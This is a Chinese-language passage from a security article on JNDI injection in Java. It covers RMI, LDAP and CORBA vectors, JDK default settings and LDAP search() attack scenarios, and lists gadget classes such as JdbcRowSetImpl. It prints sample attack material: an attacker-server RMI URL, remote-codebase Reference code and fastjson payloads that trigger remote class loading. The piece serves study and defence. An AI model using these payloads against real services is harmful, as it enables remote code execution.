在SPI级别，JVM将允许从远程代码库加载类并实施安全性。管理器的安装取决于特定的提供程序（例如在上面说到的RMI那些利用方式就是SPI级别，必须设置安全管理器）：

Provider	Property to enable remote class loading	是否需要强制安装Security Manager
RMI	java.rmi.server.useCodebaseOnly = false (JDK 6u45、JDK 7u21之后默认为true)	需要
LDAP	com.sun.jndi.ldap.object.trustURLCodebase = true（default = false）	非必须
CORBA		需要

JNDI注入起源

最开始起源于Java Applets 点击播放绕过漏洞（CVE-2015-4902）：

恶意applet使用JNLP实例化JNDI InitialContext
javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为：java.naming.provider.url = rmi://attacker-server/Go
在InitialContext初始化期间查找rmi//attacker-server/Go，攻击者控制的注册表将返回JNDI引用（javax.naming.Reference）
服务器从RMI注册表接收到JNDI引用后，它将从攻击者控制的服务器获取Factory类，然后实例化Factory以返回 JNDI所引用的对象的新实例
由于攻击者控制了Factory类，因此他可以轻松返回带有静态变量的类初始化程序，运行由攻击者定义的任何Java代码，实现远程代码执行

对于JNDI注入，有以下两个点需要注意：

仅由InitialContext或其子类初始化的Context对象（InitialDirContext或InitialLdapContext）容易受到JNDI注入攻击
一些InitialContext属性可以被传递给查找的地址/名称覆盖，即上面提到的JNDI动态协议转换

不仅仅是InitialContext.lookup()方法会受到影响，其他方法例如InitialContext.rename()、 InitialContext.lookupLink()最后也调用了InitialContext.lookup()。还有其他包装了JNDI的应用，例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也会调用InitialContext.lookup()

JNDI攻击向量

RMI
JNDI Reference
Remote Object（有安全管理器的限制，在上面RMI利用部分也能看到）
LDAP
Serialized Object
JNDI Reference
Remote Location
CORBA
IOR

JNDI Reference+RMI攻击向量

限制：JDK 6u132、JDK 7u122、JDK 8u113 之后，系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false，即默认不允许RMI、cosnaming从远程的Codebase加载ReferenceFactory类。

如果远程获取到RMI服务上的对象为 Reference类或者其子类，则在客户端获取远程对象存根实例时，可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。

Reference中几个比较关键的属性：

className - 远程加载时所使用的类名，如果本地找不到这个类名，就去远程加载
classFactory - 远程的Factory类
classFactoryLocation - Factory类加载的地址，可以是file://、ftp://、http:// 等协议

使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问，客户端可以访问该引用。

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名，FactoryClassName为Factory类名并且包含Factory类的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//这里也可以使用JNDI的ctx.bind("Foo", wrapper)方式，都可以

当有客户端通过 lookup("refObj") 获取远程对象时，获得到一个 Reference 类的存根，由于获取的是一个 Reference类的实例，客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类，如果本地未找到，则会去请求 http://example.com:12345/FactoryClassName.class 加载Factory类。

这个攻击过程如下：

攻击者为易受攻击的JNDI的lookup方法提供了绝对的RMI URL
服务器连接到受攻击者控制的RMI注册表，该注册表将返回恶意JNDI引用
服务器解码JNDI引用
服务器从攻击者控制的服务器获取Factory类
服务器实例化Factory类
有效载荷得到执行

实例的流程github里JNDI部分，先起remoteclass里的HttpServer然后起RMIServer最后起RMIClient

ctx.lookup("rmi://localhost:9999/refObj")->RMIServer:9999->HttpServer:8000

JNDI+LDAP攻击向量

LDAP（Lightweight Directory Access Protocol ，轻型目录访问协议）是一种目录服务协议，运行在TCP/IP堆栈之上。

LDAP目录服务是由目录数据库和一套访问协议组成的系统，目录服务是一个特殊的数据库，用来保存描述性的、基于属性的详细信息，能进行查询、浏览和搜索，以树状结构组织数据。

LDAP目录服务基于客户端-服务器模型(C/S)，它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务，并允许分配存储对象的属性。

LDAP 的目录信息是以树形结构进行存储的，在树根一般定义国家（c=CN）或者域名（dc=com），其次往往定义一个或多个组织（organization，o）或组织单元（organization unit，ou）。一个组织单元可以包含员工、设备信息（计算机/打印机等）相关信息。例如为公司的员工设置一个DN，可以基于cn或uid（User ID）作为用户账号。如example.com的employees单位员工longofo的DN可以设置为下面这样：

uid=longofo,ou=employees,dc=example,dc=com

目录树概念

目录树：在一个目录服务系统中，整个目录信息集可以表示为一个目录信息树，树中的每个节点是一个条目
条目：每个条目就是一条记录，每个条目有自己的唯一可区别的名称（DN）
对象类：与某个实体类型对应的一组属性，对象类是可以继承的，这样父类的必须属性也会被继承下来
属性：描述条目的某个方面的信息，一个属性由一个属性类型和一个或多个属性值组成，属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性，在后面的利用中会用到这些属性

关键字	英文全称	含义
dc	Domain Component	域名的部分，其格式是将完整的域名分成几部分，如域名为example.com变成dc=example,dc=com（一条记录的所属位置）
uid	User Id	用户ID songtao.xu（一条记录的ID）
ou	Organization Unit	组织单位，组织单位可以包含其他各种对象（包括其他组织单元），如"employees"（一条记录的所属组织单位）
cn	Common Name	公共名称，如"Thomas Johansson"（一条记录的名称）
sn	Surname	姓，如"xu"
dn	Distinguished Name	由有多个其他属性组成，如"uid=songtao.xu,ou=oa组,dc=example,dc=com"，一条记录的位置（唯一）
rdn	Relative dn	相对辨别名，类似于文件系统中的相对路径，它是与目录树结构无关的部分，如“uid=tom”或“cn= Thomas Johansson”

LDAP攻击向量

攻击过程如下：

攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
服务器连接到由攻击者控制的LDAP服务器，该服务器返回恶意JNDI 引用
服务器解码JNDI引用
服务器从攻击者控制的服务器获取Factory类
服务器实例化Factory类
有效载荷得到执行

JNDI也可以用于与LDAP目录服务进行交互。通过使用几个特殊的Java属性，如上面提到的javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation属性等，使用这些属性可以使用LDAP来存储Java对象，在LDAP目录中存储属性至少有以下几种方式：

序列化

需要com.sun.jndi.ldap.object.trustURLCodebase为true
JNDI引用

这种方式在Oracle JDK 11.0.1、8u191、7u201、6u211之后com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类了
Remote Location

结合LDAP与RMI+JNDI Reference的方式，也是JDK 6u132、JDK 7u122、JDK 8u113后默认不可

LDAP与JNDI search()

lookup()方式是能控制ctx.lookup()参数进行对象的查找，LDAP服务器也是攻击者创建的。对于LDAP服务来说，大多数应用使用的是ctx.search()进行属性的查询，这时search会同时使用到几个参数，并且这些参数一般无法控制，但是会受到外部参数的影响，同时search()方式能被利用需要RETURN_OBJECT为true。

攻击场景

对于search方式的攻击需要有对目录属性修改的权限，因此有一些限制，在下面这些场景下可用：

恶意员工：上面使用了几种利用都使用了modifyAttributes方法，但是需要有修改权限，如果员工具有修改权限那么就能像上面一样注入恶意的属性
脆弱的LDAP服务器：如果LDAP服务器被入侵了，那么入侵LDAP服务器的攻击者能够进入LDAP服务器修改返回恶意的对象，对用的应用进行查询时就会受到攻击
易受攻击的应用程序：利用易受攻击的一个应用，如果入侵了这个应用，且它具有对LDAP的写权限，那么利用它使注入LDAP属性，那么其他应用使用LDAP服务是也会遭到攻击
用于访问LDAP目录的公开Web服务或API：很多现代LDAP服务器提供用于访问LDAP目录的各种Web API。可以是功能或模块，例如REST API，SOAP服务，DSML网关，甚至是单独的产品（Web应用程序）。其中许多API对用户都是透明的，并且仅根据LDAP服务器的访问控制列表（ACL）对它们进行授权。某些ACL允许用户修改其任何除黑名单外的属性
中间人攻击：尽管当今大多数LDAP服务器使用TLS进行加密他们的通信后，但在网络上的攻击者仍然可能能够进行攻击并修改那些未加密的证书，或使用受感染的证书来修改属性

已知的JNDI search()漏洞

Spring Security and LDAP projects
FilterBasedLdapUserSearch.searchForUser()
SpringSecurityLdapTemplate.searchForSingleEntry()
SpringSecurityLdapTemplate.searchForSingleEntryInternal(){

已知JNDI注入

org.springframework.transaction.jta.JtaTransactionManager
最终调用了 InitialContext.lookup()，并且最终传递到lookup中的参数userTransactionName能被攻击者控制，调用过程：
initUserTransactionAndTransactionManager()
->JndiTemplate.lookup()
->InitialContext.lookup()
com.sun.rowset.JdbcRowSetImpl
最终调用了InitialContext.lookup()
JdbcRowSetImpl.execute()
->JdbcRowSetImpl.prepare()
->JdbcRowSetImpl.connect()
-> InitialContext.lookup()
另：要调用到JdbcRowSetImpl.execute()，作者当时是通过org.mozilla.javascript.NativeError与javax.management.BadAttributeValueExpException配合在反序列化实现的，这个类通过一系列的复杂构造，最终能成功调用任意类的无参方法，在ysoserial中也有这条利用链。可以阅读这个漏洞的原文，里面还可以学到TemplatesImpl这个类，它能通过字节码加载一个类，这个类的使用在fastjson漏洞中也出现过，是@廖新喜师傅提供的一个PoC，payload结构：
```
payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["xxxxxxxxxx"], "_name": "1111", "_tfactory": { }, "_outputProperties":{ }}";
```

另一个JdbcRowSetImpl的利用方式是通过它的setAutoCommit，也是通过fastjson触发，setAutoCommit会调用connect()，也会到达InitialContext.lookup()，payload：

payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}";

javax.management.remote.rmi.RMIConnector.connect()

最终会调用到InitialContext.lookup()，参数jmxServiceURL可控

RMIConnector.connect()
-> RMIConnector.connect(Map environment)
-> RMIConnector.findRMIServer(JMXServiceURL directoryURL, Map environment)
-> RMIConnector.findRMIServerJNDI(String jndiURL, Map env, boolean isIiop)
-> InitialContext.lookup()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()
最终会调用InitialContext.lookup()，并且参数sfJNDIName可控